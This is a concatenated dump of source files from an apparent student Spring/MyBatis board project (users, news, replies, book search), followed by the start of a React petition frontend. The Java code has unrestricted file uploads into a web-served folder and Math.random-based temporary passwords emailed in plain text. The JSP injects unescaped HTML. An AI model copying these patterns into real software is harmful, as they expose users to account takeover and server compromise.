int delete(ReplyVo vo);
int onoupdate(ReplyVo vo);
}
<file_sep>/project/src/main/java/reply/ReplyDao.java
package reply;
import java.util.List;
import org.mybatis.spring.SqlSessionTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
@Repository
public class ReplyDao {
@Autowired
SqlSessionTemplate sessionTemplate;
public List<ReplyVo> selectAll(ReplyVo vo){
return sessionTemplate.selectList("reply.selectAll",vo);
}
public int count(ReplyVo vo) {
return sessionTemplate.selectOne("reply.count",vo);
}
public ReplyVo detail(ReplyVo vo) {
return sessionTemplate.selectOne("reply.detail",vo);
}
public void updateReadCount(ReplyVo vo) {
sessionTemplate.update("reply.updateReadCount",vo);
}
public int insert(ReplyVo vo) {
return sessionTemplate.insert("reply.insert",vo);
}
public int insertReply(ReplyVo vo) {
return sessionTemplate.insert("reply.insertReply",vo);
}
public int gno(int no) {
return sessionTemplate.update("reply.gno",no);
}
public int onoupdate(ReplyVo vo) {
return sessionTemplate.update("reply.onoupdate", vo);
}
public int update(ReplyVo vo) {
return sessionTemplate.update("reply.update",vo);
}
public int delFilename(ReplyVo vo) {
return sessionTemplate.update("reply.delFilename",vo);
}
public int delete(ReplyVo vo) {
return sessionTemplate.delete("reply.delete", vo);
}
}
<file_sep>/project/src/main/java/reply/ReplyVo.java
package reply;
import java.sql.Timestamp;
import java.text.SimpleDateFormat;
import util.CommonVo;
public class ReplyVo extends CommonVo {
private int no;
private String title;
private String content;
private Timestamp regdate;
private int readcount;
private int user_no;
private String name;
private int rcnt;
private int gno;
private int ono;
private int nested;
public int getRcnt() {
return rcnt;
}
public void setRcnt(int rcnt) {
this.rcnt = rcnt;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getUser_no() {
return user_no;
}
public void setUser_no(int user_no) {
this.user_no = user_no;
}
public int getNo() {
return no;
}
public void setNo(int no) {
this.no = no;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public Timestamp getRegdate() {
return regdate;
}
public void setRegdate(Timestamp regdate) {
this.regdate = regdate;
}
public int getReadcount() {
return readcount;
}
public void setReadcount(int readcount) {
this.readcount = readcount;
}
public String getDate2() {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
return sdf.format(regdate);
}
public int getGno() {
return gno;
}
public void setGno(int gno) {
this.gno = gno;
}
public int getOno() {
return ono;
}
public void setOno(int ono) {
this.ono = ono;
}
public int getNested() {
return nested;
}
public void setNested(int nested) {
this.nested = nested;
}
}
<file_sep>/project/src/main/java/book/BookServiceimpl.java
package book;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class BookServiceimpl implements BookService {
@Autowired
BookDao dao ;
@Override
public int insert(BookVo vo) {
return dao.insert(vo);
}
}
<file_sep>/project/src/main/java/news/NewsService.java
package news;
import java.util.List;
public interface NewsService {
List<NewsVo>selectAll(NewsVo vo);
NewsVo detail(NewsVo vo);
int insert(NewsVo vo);
NewsVo edit(NewsVo vo);
int update(NewsVo vo);
int delete(NewsVo vo);
}
<file_sep>/project/src/main/java/user/Test.java
package user;
public class Test {
public static void main(String[] args) {
String tempPwd = "";
for(int i = 0 ;i<3; i++) {
tempPwd += (char)((Math.random()*26)+65);
}
System.out.println(tempPwd);
}
}
<file_sep>/project/src/test/java/exam2/TestUser.java
package exam2;
import static org.junit.Assert.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
import java.util.List;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import user.UserDao;
import user.UserVo;
@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(locations = {"classpath:config/context-servlet.xml"})
public class TestUser {
@Autowired
UserDao dao;
@Test
public void cntTest() {
UserVo vo = new UserVo();
int r = dao.count(vo);
assertTrue(r>0);
System.out.println(r);
}
@Test
public void selectAllTest() {
UserVo vo = new UserVo();
List<UserVo> list = dao.selectAll(vo);
assertNotNull(list);
}
}
<file_sep>/project/src/main/java/board/AdminBoardController.java
package board;
import java.io.File;
import java.util.Date;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import comment.CommentService;
import comment.CommentVo;
import user.UserVo;
@Controller
public class AdminBoardController {
@Autowired
BoardService service;
@Autowired
CommentService cService;
static final String TALBENAME = "board";
@RequestMapping("/admin/board/index.do")
public String index(Model model,BoardVo vo) {
model.addAttribute("list",service.selectAll(vo));
return "admin/board/index";
}
@RequestMapping("/admin/board/detail.do")
public String detail(Model model , BoardVo vo, HttpServletRequest req,CommentVo cv) {
model.addAttribute("vo",service.detail(vo));
cv.setBoard_no(vo.getNo());
cv.setTablename(TALBENAME);
model.addAttribute("list",cService.selectAll(cv));
return "admin/board/view";
}
@RequestMapping("/admin/board/write.do")
public String write(BoardVo vo , Model model,HttpSession sess ) {
return "admin/board/write";
}
@RequestMapping("/admin/board/insert.do")
public String insert(Model model , BoardVo vo, @RequestParam("filename") MultipartFile filename, HttpServletRequest req , HttpServletResponse res,HttpSession sess) {
if(!filename.isEmpty()) {
try {
String org = filename.getOriginalFilename();//원본 파일명
String ext ="";
ext = org.substring(org.lastIndexOf("."));
String real = new Date().getTime()+ext;//서버에 저장할 파일명
String path = req.getRealPath("/upload/");
System.out.println(path);
filename.transferTo(new File(path+real));
vo.setFilename_org(org);
vo.setFilename_real(real);
}catch (Exception e) {}
}
int r = service.insert(vo);
if(r > 0) {
model.addAttribute("msg", "정상적으로 등록 되었습니다.");
model.addAttribute("url", "index.do");
}else {
model.addAttribute("msg", "등록실패.");
model.addAttribute("url", "write.do");
}
return "include/alert";
}
@RequestMapping("/admin/board/edit.do")
public String edit(Model model , BoardVo vo) {
model.addAttribute("vo", service.edit(vo));
return "admin/board/edit";
}
@RequestMapping("/admin/board/update.do")
public String update(Model model , BoardVo vo, @RequestParam("filename") MultipartFile filename, HttpServletRequest req , HttpServletResponse res) {
//service.insert(vo);
if(!filename.isEmpty()) {
try {
String org = filename.getOriginalFilename();//원본 파일명
String ext ="";
ext = org.substring(org.lastIndexOf("."));
String real = new Date().getTime()+ext;//서버에 저장할 파일명
String path = req.getRealPath("/upload/");
System.out.println(path);
filename.transferTo(new File(path+real));
vo.setFilename_org(org);
vo.setFilename_real(real);
}catch (Exception e) {}
}
int r = service.update(vo);
if(r > 0) {
model.addAttribute("msg", "정상적으로 수정 되었습니다.");
model.addAttribute("url", "index.do");
}else {
model.addAttribute("msg", "수정실패.");
model.addAttribute("url", "edit.do?no="+vo.getNo());
}
return "include/alert";
}
@RequestMapping("/admin/board/delete.do")
public String delete(Model model, BoardVo vo) {
int r = service.delete(vo);
if(r > 0) {
model.addAttribute("result", "true");
}else {
model.addAttribute("result", "false");
}
return "include/result";
}
@RequestMapping("admin/board/grouDelete.do")
public String deleteg(Model model, HttpServletRequest req) {
String[] no = req.getParameterValues("no");
int count = 0;
for(int i = 0; i<no.length; i++) {
System.out.println(no[i]);
BoardVo vo= new BoardVo();
vo.setNo(Integer.parseInt(no[i]));
count+=service.delete(vo);
}
model.addAttribute("msg", "총" +count+"건이 삭제되었습니다.");
model.addAttribute("url", "index.do");
return "include/alert";
}
@RequestMapping("admin/board/grouDelete2.do")
public String deleteg2(Model model,BoardVo vo, HttpServletRequest req) {
int count = service.deleteGroup(vo);
model.addAttribute("msg", "총" +count+"건이 삭제되었습니다.");
model.addAttribute("url", "index.do");
return "include/alert";
}
}<file_sep>/project/src/main/java/comment/CommentService.java
package comment;
import java.util.List;
public interface CommentService {
List<CommentVo>selectAll(CommentVo vo);
int insert(CommentVo vo);
int delete(CommentVo vo);
}
<file_sep>/project/src/main/java/user/UserServiceimpl.java
package user;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import util.SendMail;
@Service
public class UserServiceimpl implements UserService {
@Autowired
UserDao dao ;
@Override
public List<UserVo> selectAll(UserVo vo) {
int totCount = dao.count(vo);
int totPage = totCount/vo.getPageRow();
if(totCount % vo.getPageRow()>0) totPage++;
int strPage = (vo.getReqPage()-1)/vo.getPageRange()*vo.getPageRange()+1;
int endPage = strPage + (vo.getPageRange()-1);
if(endPage>totPage) {
endPage = totPage;
}
vo.setStrPage(strPage);
vo.setEndPage(endPage);
vo.setTotCount(totCount);
vo.setTotPage(totPage);
return dao.selectAll(vo);
}
@Override
public UserVo detail(UserVo vo) {
return dao.detail(vo);
}
@Override
public UserVo edit(UserVo vo) {
return dao.detail(vo);
}
@Override
public int insert(UserVo vo) {
return dao.insert(vo);
}
@Override
public int update(UserVo vo) {
return dao.update(vo);
}
@Override
public int delete(UserVo vo) {
return dao.delete(vo);
}
@Override
public int isDuplicateld(String id) {
return dao.isDuplicateld(id);
}
@Override
public UserVo login(UserVo vo) {
return dao.login(vo);
}
@Override
public UserVo searchid(UserVo vo) {
return dao.searchid(vo);
}
@Override
public UserVo searchpwd(UserVo vo) {
UserVo uv = dao.searchpwd(vo);
if(uv != null) {
// 임시비밀번호 생성
String tempPwd = "";
for(int i = 0 ;i<3; i++) {
tempPwd += (char)((Math.random()*26)+65);
}
for(int i =0; i<3; i++) {
tempPwd+=(int)((Math.random()*9));
}
uv.setPwd(tempPwd);
dao.updateTempPwd(uv);
//이메일 전송
SendMail.sendMail("<EMAIL>", uv.getEmail(), "임시비밀번호입니다.", "임시비밀번호:"+tempPwd);
}
return uv;
}
}
<file_sep>/project/src/main/java/news/NewsController.java
package news;
import java.io.File;
import java.util.Date;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
@Controller
public class NewsController {
@Autowired
NewsService service;
@RequestMapping("/news/index.do")
public String index(Model model,NewsVo vo) {
model.addAttribute("list",service.selectAll(vo));
return "news/index";
}
@RequestMapping("/news/detail.do")
public String detail(Model model , NewsVo vo, HttpServletRequest req) {
model.addAttribute("vo",service.detail(vo));
return "/news/detail";
}
@RequestMapping("/news/write.do")
public String write() {
return "/news/write";
}
@RequestMapping("/news/insert.do")
public String insert(Model model , NewsVo vo, @RequestParam("filename") MultipartFile filename, HttpServletRequest req , HttpServletResponse res) {
//service.insert(vo);
if(!filename.isEmpty()) {
try {
String org = filename.getOriginalFilename();//원본 파일명
String ext ="";
ext = org.substring(org.lastIndexOf("."));
String real = new Date().getTime()+ext;//서버에 저장할 파일명
String path = req.getRealPath("/upload/");
System.out.println(path);
filename.transferTo(new File(path+real));
vo.setFilename_org(org);
vo.setFilename_real(real);
}catch (Exception e) {}
}
int r = service.insert(vo);
if(r > 0) {
model.addAttribute("msg", "정상적으로 등록 되었습니다.");
model.addAttribute("url", "index.do");
}else {
model.addAttribute("msg", "등록실패.");
model.addAttribute("url", "write.do");
}
return "include/alert";
}
@RequestMapping("/news/edit.do")
public String edit(Model model , NewsVo vo) {
model.addAttribute("vo", service.edit(vo));
return "/news/edit";
}
@RequestMapping("/news/update.do")
public String update(Model model , NewsVo vo, @RequestParam("filename") MultipartFile filename, HttpServletRequest req , HttpServletResponse res) {
//service.insert(vo);
if(!filename.isEmpty()) {
try {
String org = filename.getOriginalFilename();//원본 파일명
String ext ="";
ext = org.substring(org.lastIndexOf("."));
String real = new Date().getTime()+ext;//서버에 저장할 파일명
String path = req.getRealPath("/upload/");
System.out.println(path);
filename.transferTo(new File(path+real));
vo.setFilename_org(org);
vo.setFilename_real(real);
}catch (Exception e) {}
}
int r = service.update(vo);
if(r > 0) {
model.addAttribute("msg", "정상적으로 수정 되었습니다.");
model.addAttribute("url", "index.do");
}else {
model.addAttribute("msg", "수정실패.");
model.addAttribute("url", "edit.do?no="+vo.getNo());
}
return "include/alert";
}
@RequestMapping("/news/delete.do")
public String delete(Model model, NewsVo vo) {
int r = service.delete(vo);
if(r > 0) {
model.addAttribute("reulst", "true");
}else {
model.addAttribute("reulst", "false");
}
return "news/result";
}
}<file_sep>/project/src/main/java/comment/CommentServiceimpl.java
package comment;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class CommentServiceimpl implements CommentService {
@Autowired
CommentDao dao ;
@Override
public List<CommentVo> selectAll(CommentVo vo) {
int totCount = dao.count(vo);
int totPage = totCount/vo.getPageRow();
if(totCount % vo.getPageRow()>0) totPage++;
int strPage = (vo.getReqPage()-1)/vo.getPageRange()*vo.getPageRange()+1;
int endPage = strPage + (vo.getPageRange()-1);
if(endPage>totPage) {
endPage = totPage;
}
vo.setStrPage(strPage);
vo.setEndPage(endPage);
vo.setTotCount(totCount);
vo.setTotPage(totPage);
return dao.selectAll(vo);
}
@Override
public int insert(CommentVo vo) {
return dao.insert(vo);
}
@Override
public int delete(CommentVo vo) {
return dao.delete(vo);
}
}
<file_sep>/project/src/main/java/news/NewsServiceimpl.java
package news;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class NewsServiceimpl implements NewsService {
@Autowired
NewsDao dao ;
@Override
public List<NewsVo> selectAll(NewsVo vo) {
int totCount = dao.count(vo);
int totPage = totCount/vo.getPageRow();
if(totCount % vo.getPageRow()>0) totPage++;
int strPage = (vo.getReqPage()-1)/vo.getPageRange()*vo.getPageRange()+1;
int endPage = strPage + (vo.getPageRange()-1);
if(endPage>totPage) {
endPage = totPage;
}
vo.setStrPage(strPage);
vo.setEndPage(endPage);
vo.setTotCount(totCount);
vo.setTotPage(totPage);
return dao.selectAll(vo);
}
@Override
public NewsVo detail(NewsVo vo) {
dao.updateReadCount(vo);
return dao.detail(vo);
}
@Override
public NewsVo edit(NewsVo vo) {
return dao.detail(vo);
}
@Override
public int insert(NewsVo vo) {
return dao.insert(vo);
}
@Override
public int update(NewsVo vo) {
if("1".equals(vo.getIsDel())) {
dao.delFilename(vo);
}
return dao.update(vo);
}
@Override
public int delete(NewsVo vo) {
return dao.delete(vo);
}
}
<file_sep>/project/src/main/java/user/UserController.java
package user;
import java.io.PrintWriter;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import board.BoardService;
import board.BoardVo;
@Controller
public class UserController {
@Autowired
UserService service;
@Autowired
BoardService boardService;
// @RequestMapping("/user/index.do")
// public String index(Model model,UserVo vo) {
// model.addAttribute("list",service.selectAll(vo));
// return "admin/user/index";
// }
// @RequestMapping("/user/detail.do")
// public String detail(Model model , UserVo vo, HttpServletRequest req) {
//
// model.addAttribute("vo",service.detail(vo));
// return "/user/detail";
// }
@RequestMapping("/user/join.do")
public String write() {
return "user/join";
}
@RequestMapping("/user/insert.do")
public String insert(Model model , UserVo vo, HttpServletRequest req , HttpServletResponse res) {
int r = service.insert(vo);
if(r > 0) {
model.addAttribute("msg", "정상적으로 등록 되었습니다.");
model.addAttribute("url", "/project/board/index.do");
}else {
model.addAttribute("msg", "등록실패.");
model.addAttribute("url", "join.do");
}
return "include/alert";
}
@RequestMapping("/user/edit.do")
public String edit(Model model , UserVo vo) {
model.addAttribute("vo", service.edit(vo));
return "/user/edit";
}
@RequestMapping("/user/insertAjex.do")
public String insertAjax(Model model , UserVo vo, HttpServletRequest req , HttpServletResponse res) {
int r = service.insert(vo);
if(r > 0) {
model.addAttribute("result", "true");
}else {
model.addAttribute("result", "false.");
}
return "include/result";
}
@RequestMapping("/user/update.do")
public String update(Model model , UserVo vo, @RequestParam("filename") MultipartFile filename, HttpServletRequest req , HttpServletResponse res) {
int r = service.update(vo);
if(r > 0) {
model.addAttribute("msg", "정상적으로 수정 되었습니다.");
model.addAttribute("url", "index.do");
}else {
model.addAttribute("msg", "수정실패.");
}
return "include/alert";
}
@RequestMapping("/user/delete.do")
public String delete(Model model, UserVo vo) {
int r = service.delete(vo);
if(r > 0) {
model.addAttribute("result", "true");
}else {
model.addAttribute("result", "false");
}
return "include/result";
}
@RequestMapping("/user/isDuplicateld.do")
public String isDuplicateld(Model model, @RequestParam String id ) {
int r = service.isDuplicateld ( id );
if(r == 0) {
model.addAttribute("result","false");
}else {
model.addAttribute("result","true");
}
return "include/result";
}
@RequestMapping(value = "/user/login.do", method = RequestMethod.GET)
public String login() {
return "user/login";
}
@RequestMapping(value = "/user/login.do", method = RequestMethod.POST)
public String loginexe(UserVo vo,HttpSession sess,HttpServletResponse res, HttpServletRequest req,Model model) throws Exception {
UserVo u = service.login(vo);
if(u != null) {
sess.setAttribute("userInfo", u);
return"redirect:/board/index.do";
}else {
model.addAttribute("msg", "아이디와 비밀번호를 확인해 주세요");
model.addAttribute("url", "login.do");
return "include/alert";
}
}
@RequestMapping("/user/logout.do")
public String logout(HttpSession sess, Model model) {
sess.invalidate();
model.addAttribute("msg", "로그아웃");
model.addAttribute("url", "/project/board/index.do");
return "include/alert";
}
@RequestMapping("/user/mypage.do")
public String mypage( BoardVo vo , Model model , HttpSession sess) {
vo.setUser_no(((UserVo)sess.getAttribute("userInfo")).getNo());
model.addAttribute("list", boardService.selectAll(vo));
return "/user/mypage";
}
@RequestMapping(value = "user/searchId.do",method = RequestMethod.GET)
public String searchid(Model model , UserVo vo) {
return "user/searchId";
}
@RequestMapping(value = "user/searchId.do",method = RequestMethod.POST)
public String searchid2(Model model , UserVo vo) {
UserVo uv = service.searchid(vo);
String id = "";
if(uv!=null) {
id = uv.getId();
}
model.addAttribute("result", id);
return "include/result";
}
@RequestMapping(value = "user/searchPwd.do",method = RequestMethod.GET)
public String searchpwd(Model model , UserVo vo) {
return "user/searchPwd";
}
@RequestMapping(value = "user/searchPwd.do",method = RequestMethod.POST)
public String searchpwd2(Model model , UserVo vo) {
UserVo uv = service.searchpwd(vo);
if(uv!=null) {
model.addAttribute("result", "ok");
}else {
model.addAttribute("result", "no");
}
return "include/result";
}
}<file_sep>/project/src/main/webapp/WEB-INF/view/book/book3.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>책 검색 사이트</title>
</head>
<body>
<input type="text" id="query">
<button id="search">검색</button>
<div></div>
<script src="https://code.jquery.com/jquery-3.6.0.js"
integrity="<KEY> crossorigin="anonymous"></script>
<script>
$(document).ready(function () {
var pageNum = 1;
$("#search").click(function () {
$("div").html("");
$.ajax({
method: "GET",
url: "https://dapi.kakao.com/v3/search/book?target=title&size=10",
data: { query: $("#query").val(), page: pageNum},
headers: {Authorization: "KakaoAK <KEY>"} // ########부분에 본인의 REST API 키를 넣어주세요.
})
.done(function (msg) {
console.log(msg);
for (var i = 0; i < 5; i++){
$("<div><span>제목</span><span><input type='text' id='title' name='title'value='"+ msg.documents[i].title + "'></span>"
+"<span>저자</span><span><input type='text' id='authors'name='authors'value='"+ msg.documents[i].authors + "'></span>"
+"<span>출판사</span><span><input type='text' id='publisher'name='publisher'value='"+ msg.documents[i].publisher + "'></span>"
+"<span>요약</span><span><input type='text' id='contents'name='contents'value='"+ msg.documents[i].contents +"..." + "'></span>"
+"<span>isbn</span><span><input type='text' id='isbn'name='isbn'value='"+ msg.documents[i].isbn + "'></span>"
+"<span>출판일</span><span><input type='text' id='datetime'name='datetime'value='"+ msg.documents[i].datetime + "'></span>"
+"<span>가격</span><span><input type='text' id='price'name='price'value='"+ msg.documents[i].price + "'></span>"
+"<span>이미지 url</span><span><input type='text' id='thumbnail'name='thumbnail'value='"+ msg.documents[i].thumbnail + "'></span><span><input type='submit' value='저장'></span></div>").appendTo('form');
}
});
})
})
</script>
<form action="bookapi.do" method="get">
</form>
</body>
</html><file_sep>/project/src/main/java/bookapi/BookDao.java
package bookapi;
import org.mybatis.spring.SqlSessionTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
@Repository
public class BookDao {
@Autowired
SqlSessionTemplate sessionTemplate;
public int insert(BookVo vo) {
return sessionTemplate.insert("book.insert",vo);
}
}
<file_sep>/project/src/main/java/board/BoardServiceimpl.java
package board;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class BoardServiceimpl implements BoardService {
@Autowired
BoardDao dao ;
@Override
public List<BoardVo> selectAll(BoardVo vo) {
int totCount = dao.count(vo);
int totPage = totCount/vo.getPageRow();
if(totCount % vo.getPageRow()>0) totPage++;
int strPage = (vo.getReqPage()-1)/vo.getPageRange()*vo.getPageRange()+1;
int endPage = strPage + (vo.getPageRange()-1);
if(endPage>totPage) {
endPage = totPage;
}
vo.setStrPage(strPage);
vo.setEndPage(endPage);
vo.setTotCount(totCount);
vo.setTotPage(totPage);
return dao.selectAll(vo);
}
@Override
public BoardVo detail(BoardVo vo) {
dao.updateReadCount(vo);
return dao.detail(vo);
}
@Override
public BoardVo edit(BoardVo vo) {
return dao.detail(vo);
}
@Override
public int insert(BoardVo vo) {
return dao.insert(vo);
}
@Override
public int update(BoardVo vo) {
if("1".equals(vo.getIsDel())) {
dao.delFilename(vo);
}
return dao.update(vo);
}
@Override
public int delete(BoardVo vo) {
return dao.delete(vo);
}
@Override
public int deleteGroup(BoardVo vo) {
return dao.deleteGroup(vo);
}
}
<file_sep>/project/src/main/java/user/UserDao.java
package user;
import java.util.List;
import org.mybatis.spring.SqlSessionTemplate;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
@Repository
public class UserDao {
@Autowired
SqlSessionTemplate sessionTemplate;
public List<UserVo> selectAll(UserVo vo){
return sessionTemplate.selectList("user.selectAll",vo);
}
public int count(UserVo vo) {
return sessionTemplate.selectOne("user.count",vo);
}
public UserVo detail(UserVo vo) {
return sessionTemplate.selectOne("user.detail",vo);
}
public int insert(UserVo vo) {
return sessionTemplate.insert("user.insert",vo);
}
public int update(UserVo vo) {
return sessionTemplate.update("user.update",vo);
}
public int delete(UserVo vo) {
return sessionTemplate.delete("user.delete", vo);
}
public int isDuplicateld(String id) {
return sessionTemplate.selectOne("user.isDuplicateld", id);
}
public UserVo login(UserVo vo) {
return sessionTemplate.selectOne("user.login",vo);
}
public UserVo searchid(UserVo vo) {
return sessionTemplate.selectOne("user.searchId",vo);
}
public UserVo searchpwd(UserVo vo) {
return sessionTemplate.selectOne("user.searchPwd",vo);
}
public int updateTempPwd(UserVo vo) {
return sessionTemplate.update("user.updateTempPwd",vo);
}
}
|
ddb798e63ea54eb7717b67c395570795cc4cba3b
|
[
"Java",
"Java Server Pages"
] | 18 |
Java
|
berganted/workspace
|
7b6c49cf1c2bc65345e561b997438fdc38b5ef0c
|
411da71524b31d5532ead5746e8a688637e6a563
|
refs/heads/master
|
<repo_name>6ewis/mop-frontend<file_sep>/test/store/petition-load.js
import { expect } from 'chai'
import Config from '../../src/config.js'
import configureMockStore from 'redux-mock-store'
import thunk from 'redux-thunk'
import { actionTypes, loadPetition } from '../../src/actions/petitionActions.js'
import nock from 'nock'
import samplePetition from '../../local/api/v1/petitions/outkast.json'
const middlewares = [thunk]
const mockStore = configureMockStore(middlewares)
const BASE_URI = 'http://localhost:8080'
Config.API_URI = BASE_URI
const expectAsync = (promise, done, f) => {
// Required structure for any async tests!!!
// See http://stackoverflow.com/questions/11235815/
promise.then((...args) => {
try {
f(...args)
done()
} catch (e) {
done(e)
}
})
}
describe('Petition loading', () => {
nock(BASE_URI)
.get('/petitions/outkast.json')
.reply(200, samplePetition)
it('creates FETCH_PETITION_SUCCESS when loading petition', (done) => {
const expectedActions = [
{ type: actionTypes.FETCH_PETITION_REQUEST, slug: 'outkast' },
{ type: actionTypes.FETCH_PETITION_SUCCESS,
slug: 'outkast',
petition: samplePetition }
]
const store = mockStore()
expectAsync(store.dispatch(loadPetition('outkast')),
done,
() => {
const actions = store.getActions()
expect(actions).to.deep.equal(expectedActions)
})
})
})
<file_sep>/src/components/form/zip-or-postal-input.js
import React from 'react'
import PropTypes from 'prop-types'
const ZipOrPostalInput = ({ country, zipOnChange, zipValidationError, postalOnChange }) => {
if (country === 'United States') {
return (
<div>
<input
type='text'
name='zip'
placeholder='ZIP Code*'
className='zip moveon-track-click'
onChange={zipOnChange}
onBlur={zipOnChange}
/>
<zipValidationError />
</div>
)
}
return (
<input
type='text'
name='postal'
placeholder='Postal'
className='postal moveon-track-click'
onChange={postalOnChange}
onBlur={postalOnChange}
/>
)
}
ZipOrPostalInput.propTypes = {
country: PropTypes.string,
postalOnChange: PropTypes.func,
zipOnChange: PropTypes.func,
zipValidationError: PropTypes.element
}
export default ZipOrPostalInput
<file_sep>/test/reducers/nav.js
import { expect } from 'chai'
import reducer from '../../src/reducers/nav'
import { actionTypes as navActionTypes } from '../../src/actions/navActions.js'
import { actionTypes as petitionActionTypes } from '../../src/actions/petitionActions.js'
const { FETCH_PETITON_SUCCESS, FETCH_TOP_PETITIONS_SUCCESS } = petitionActionTypes
const { FETCH_ORG_SUCCESS } = navActionTypes
const defaultState = reducer(undefined, {})
describe('nav reducer', () => {
it('default state', () => {
expect(defaultState).to.deep.equal({
orgs: {},
partnerCobrand: null
})
})
it('adds orgs to table when FETCH_ORG_SUCCESS', () => {
const type = FETCH_ORG_SUCCESS
const action = {
type,
slug: 'test',
org: { test: true }
}
let state = reducer(defaultState, action)
expect(state.orgs.test, 'orgs.test saved')
.to.equal(action.org)
state = reducer(state, { type, slug: 'test2', org: 'test2' })
expect(state.orgs.test2, 'orgs.test2 saved')
.to.equal('test2')
expect(state.orgs.test, 'orgs.test unchanged')
.to.equal(action.org)
state = reducer(state, { type, slug: 'test', org: 'test' })
expect(state.orgs.test, 'orgs.test overwritten')
.to.equal('test')
expect(state.orgs.test2, 'orgs.test2 unchanged')
.to.equal('test2')
})
const brandOnly = { logo_image_url: 'yes.jpg', organization: 'Move On', browser_url: 'http://' }
const brandWithFluff = { ...brandOnly, fluff: true }
const wrongBrand = { ...brandWithFluff, organization: 'not me' }
function testPetitionVariants(name, actionCreator) {
describe(name, () => {
it('sets cobrand using sponsor', () => {
const state = reducer(defaultState, actionCreator({ _embedded: { sponsor: brandWithFluff } }))
expect(state.partnerCobrand).to.deep.equal(brandOnly)
})
it('sets cobrand using creator', () => {
const state = reducer(defaultState, actionCreator({ _embedded: { creator: brandWithFluff } }))
expect(state.partnerCobrand).to.deep.equal(brandOnly)
})
it('sets cobrand using sponsor when both sponsor and creator', () => {
const state = reducer(defaultState, actionCreator({ _embedded: { sponsor: brandWithFluff, creator: wrongBrand } }))
expect(state.partnerCobrand).to.deep.equal(brandOnly)
})
it('sets to null after a new action without sponsor or creator', () => {
const filledState = reducer(defaultState, actionCreator({ _embedded: { creator: brandWithFluff } }))
const state = reducer(filledState, actionCreator({}))
expect(state.partnerCobrand).to.deep.equal(null)
})
})
}
testPetitionVariants('FETCH_PETITION_SUCCESS', petition => ({
type: FETCH_PETITON_SUCCESS,
petition
}))
testPetitionVariants('FETCH_TOP_PETITIONS_SUCCESS', petition => ({
type: FETCH_TOP_PETITIONS_SUCCESS,
petitions: [petition]
}))
})
<file_sep>/src/pages/sign-petition.js
import React from 'react'
import PropTypes from 'prop-types'
import 'whatwg-fetch'
import { connect } from 'react-redux'
import Petition from '../components/petition.js'
import { actions as petitionActions } from '../actions/petitionActions.js'
class SignPetition extends React.Component {
componentWillMount() {
const { dispatch, params } = this.props
dispatch(petitionActions.loadPetition(params.petition_slug))
}
render() {
if (!this.props.petition) {
return (
<div>
</div>
)
}
return (
<div className='moveon-petitions sign'>
<Petition
petition={this.props.petition}
query={this.props.location.query}
/>
</div>
)
}
}
SignPetition.propTypes = {
petition: PropTypes.object,
params: PropTypes.object,
location: PropTypes.object,
dispatch: PropTypes.func
}
function mapStateToProps(store, ownProps) {
const petition = store.petitionStore.petitions[ownProps.params.petition_slug]
return {
petition,
sign_success: petition && store.petitionStore.signatureStatus[petition.petition_id]
}
}
export default connect(mapStateToProps)(SignPetition)
<file_sep>/src/components/nav.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import { Link } from 'react-router'
import NavLink from './nav-link'
const Nav = ({ user, nav, organization, minimal }) => {
const cobrand = ((organization) ? nav.orgs[organization] : nav.partnerCobrand)
const userLinks = (
<div className='pull-right bump-top-1 span-7 top-menu'>
<ul className='nav collapse nav-collapse'>
<NavLink to='/admin'>Admin</NavLink>
<NavLink to='/campaign_tips.html'>Campaign Tips</NavLink>
<NavLink to='/edit_account.html'>Edit account</NavLink>
<NavLink to='/login/do_logout.html?redirect=/index.html'>Logout</NavLink>
<NavLink to='https://civic.moveon.org/donatec4/creditcard.html?cpn_id=511'>Donate</NavLink>
</ul>
</div>
)
const guestLinks = (
<div className='pull-right bump-top-1 span-7 top-menu'>
<ul className='nav collapse nav-collapse'>
<NavLink to='/campaign_tips.html'>Campaign Tips</NavLink>
